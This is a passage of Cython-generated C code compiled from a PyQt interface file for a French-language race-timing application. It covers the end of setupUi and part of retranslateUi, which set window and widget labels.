__pyx_t_9 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_9}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 1002, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1002, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_t_9); __pyx_t_9 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_1, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 1002, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":1003 * self.RB_Add.released.connect(MainWindow.update) * self.Tab_Container.currentChanged['int'].connect(MainWindow.setFocus) * QtCore.QMetaObject.connectSlotsByName(MainWindow) # <<<<<<<<<<<<<< * * def retranslateUi(self, MainWindow): */ __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 1003, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_QMetaObject); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1003, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_connectSlotsByName); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 1003, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_1) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_v_MainWindow); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 1003, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_v_MainWindow}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 1003, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_v_MainWindow}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 1003, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); } else #endif { __pyx_t_9 = PyTuple_New(1+1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 1003, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_INCREF(__pyx_v_MainWindow); __Pyx_GIVEREF(__pyx_v_MainWindow); PyTuple_SET_ITEM(__pyx_t_9, 0+1, __pyx_v_MainWindow); __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_9, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 1003, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":12 * * class Ui_MainWindow(object): * def setupUi(self, MainWindow): # <<<<<<<<<<<<<< * MainWindow.setObjectName("MainWindow") * MainWindow.resize(800, 600) */ /* function exit code */ __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_3); __Pyx_XDECREF(__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __Pyx_XDECREF(__pyx_t_6); __Pyx_XDECREF(__pyx_t_7); __Pyx_XDECREF(__pyx_t_9); __Pyx_AddTraceback("Ui_MainWindow.Ui_MainWindow.setupUi", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XDECREF(__pyx_v_font); __Pyx_XDECREF(__pyx_v_sizePolicy); __Pyx_XDECREF(__pyx_v_spacerItem); __Pyx_XDECREF(__pyx_v_spacerItem1); __Pyx_XDECREF(__pyx_v_item_0); __Pyx_XDECREF(__pyx_v_item_1); __Pyx_XDECREF(__pyx_v_item); __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "Ui_MainWindow.py":1005 * QtCore.QMetaObject.connectSlotsByName(MainWindow) * * def retranslateUi(self, MainWindow): # <<<<<<<<<<<<<< * _translate = QtCore.QCoreApplication.translate * MainWindow.setWindowTitle(_translate("MainWindow", "RaceChrono (c) <NAME> 2018")) */ /* Python wrapper */ static PyObject *__pyx_pw_13Ui_MainWindow_13Ui_MainWindow_3retranslateUi(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/ static PyMethodDef __pyx_mdef_13Ui_MainWindow_13Ui_MainWindow_3retranslateUi = {"retranslateUi", (PyCFunction)__pyx_pw_13Ui_MainWindow_13Ui_MainWindow_3retranslateUi, METH_VARARGS|METH_KEYWORDS, 0}; static PyObject *__pyx_pw_13Ui_MainWindow_13Ui_MainWindow_3retranslateUi(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds) { PyObject *__pyx_v_self = 0; PyObject *__pyx_v_MainWindow = 0; PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("retranslateUi (wrapper)", 0); { static PyObject **__pyx_pyargnames[] = {&__pyx_n_s_self,&__pyx_n_s_MainWindow,0}; PyObject* values[2] = {0,0}; if (unlikely(__pyx_kwds)) { Py_ssize_t kw_args; const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args); switch (pos_args) { case 2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1); case 1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0); case 0: break; default: goto __pyx_L5_argtuple_error; } kw_args = PyDict_Size(__pyx_kwds); switch (pos_args) { case 0: if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_self)) != 0)) kw_args--; else goto __pyx_L5_argtuple_error; case 1: if (likely((values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_MainWindow)) != 0)) kw_args--; else { __Pyx_RaiseArgtupleInvalid("retranslateUi", 1, 2, 2, 1); __PYX_ERR(0, 1005, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, "retranslateUi") < 0)) __PYX_ERR(0, 1005, __pyx_L3_error) } } else if (PyTuple_GET_SIZE(__pyx_args) != 2) { goto __pyx_L5_argtuple_error; } else { values[0] = PyTuple_GET_ITEM(__pyx_args, 0); values[1] = PyTuple_GET_ITEM(__pyx_args, 1); } __pyx_v_self = values[0]; __pyx_v_MainWindow = values[1]; } goto __pyx_L4_argument_unpacking_done; __pyx_L5_argtuple_error:; __Pyx_RaiseArgtupleInvalid("retranslateUi", 1, 2, 2, PyTuple_GET_SIZE(__pyx_args)); __PYX_ERR(0, 1005, __pyx_L3_error) __pyx_L3_error:; __Pyx_AddTraceback("Ui_MainWindow.Ui_MainWindow.retranslateUi", __pyx_clineno, __pyx_lineno, __pyx_filename); __Pyx_RefNannyFinishContext(); return NULL; __pyx_L4_argument_unpacking_done:; __pyx_r = __pyx_pf_13Ui_MainWindow_13Ui_MainWindow_2retranslateUi(__pyx_self, __pyx_v_self, __pyx_v_MainWindow); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_13Ui_MainWindow_13Ui_MainWindow_2retranslateUi(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self, PyObject *__pyx_v_MainWindow) { PyObject *__pyx_v__translate = NULL; PyObject *__pyx_v___sortingEnabled = NULL; PyObject *__pyx_v_item = NULL; PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; PyObject *__pyx_t_4 = NULL; PyObject *__pyx_t_5 = NULL; PyObject *__pyx_t_6 = NULL; PyObject *__pyx_t_7 = NULL; int __pyx_t_8; __Pyx_RefNannySetupContext("retranslateUi", 0); /* "Ui_MainWindow.py":1006 * * def retranslateUi(self, MainWindow): * _translate = QtCore.QCoreApplication.translate # <<<<<<<<<<<<<< * MainWindow.setWindowTitle(_translate("MainWindow", "RaceChrono (c) <NAME> 2018")) * self.label_2.setText(_translate("MainWindow", "Numro:")) */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1006, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QCoreApplication); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1006, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_translate); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1006, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_v__translate = __pyx_t_1; __pyx_t_1 = 0; /* "Ui_MainWindow.py":1007 * def retranslateUi(self, MainWindow): * _translate = QtCore.QCoreApplication.translate * MainWindow.setWindowTitle(_translate("MainWindow", "RaceChrono (c) <NAME> 2018")) # <<<<<<<<<<<<<< * self.label_2.setText(_translate("MainWindow", "Numro:")) * self.RB_Add.setText(_translate("MainWindow", "Ajouter")) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_MainWindow, __pyx_n_s_setWindowTitle); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1007, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__606, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1007, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1007, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1007, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1007, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1007, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1007, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1008 * _translate = QtCore.QCoreApplication.translate * MainWindow.setWindowTitle(_translate("MainWindow", "RaceChrono (c) <NAME> 2018")) * self.label_2.setText(_translate("MainWindow", "Numro:")) # <<<<<<<<<<<<<< * self.RB_Add.setText(_translate("MainWindow", "Ajouter")) * self.RB_Del.setText(_translate("MainWindow", "Effacer")) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1008, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setText); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1008, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__607, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1008, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1008, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_2}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1008, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_2}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1008, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1008, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_4, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1008, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1009 * MainWindow.setWindowTitle(_translate("MainWindow", "RaceChrono (c) <NAME> 2018")) * self.label_2.setText(_translate("MainWindow", "Numro:")) * self.RB_Add.setText(_translate("MainWindow", "Ajouter")) # <<<<<<<<<<<<<< * self.RB_Del.setText(_translate("MainWindow", "Effacer")) * self.label.setText(_translate("MainWindow", "Nom")) */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RB_Add); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1009, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_setText); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1009, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__608, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1009, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_2) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1009, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_5}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1009, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_5}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1009, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1009, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_5); __pyx_t_5 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_3, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1009, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1010 * self.label_2.setText(_translate("MainWindow", "Numro:")) * self.RB_Add.setText(_translate("MainWindow", "Ajouter")) * self.RB_Del.setText(_translate("MainWindow", "Effacer")) # <<<<<<<<<<<<<< * self.label.setText(_translate("MainWindow", "Nom")) * self.label_6.setText(_translate("MainWindow", "Prnom")) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RB_Del); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1010, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setText); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1010, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__609, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1010, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_5) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1010, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_4}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1010, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_4}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1010, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1010, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_5); __pyx_t_5 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_2, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1010, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1011 * self.RB_Add.setText(_translate("MainWindow", "Ajouter")) * self.RB_Del.setText(_translate("MainWindow", "Effacer")) * self.label.setText(_translate("MainWindow", "Nom")) # <<<<<<<<<<<<<< * self.label_6.setText(_translate("MainWindow", "Prnom")) * self.label_13.setText(_translate("MainWindow", "Adresse")) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1011, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setText); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1011, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__610, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1011, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1011, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1011, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1011, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1011, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1011, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_2); 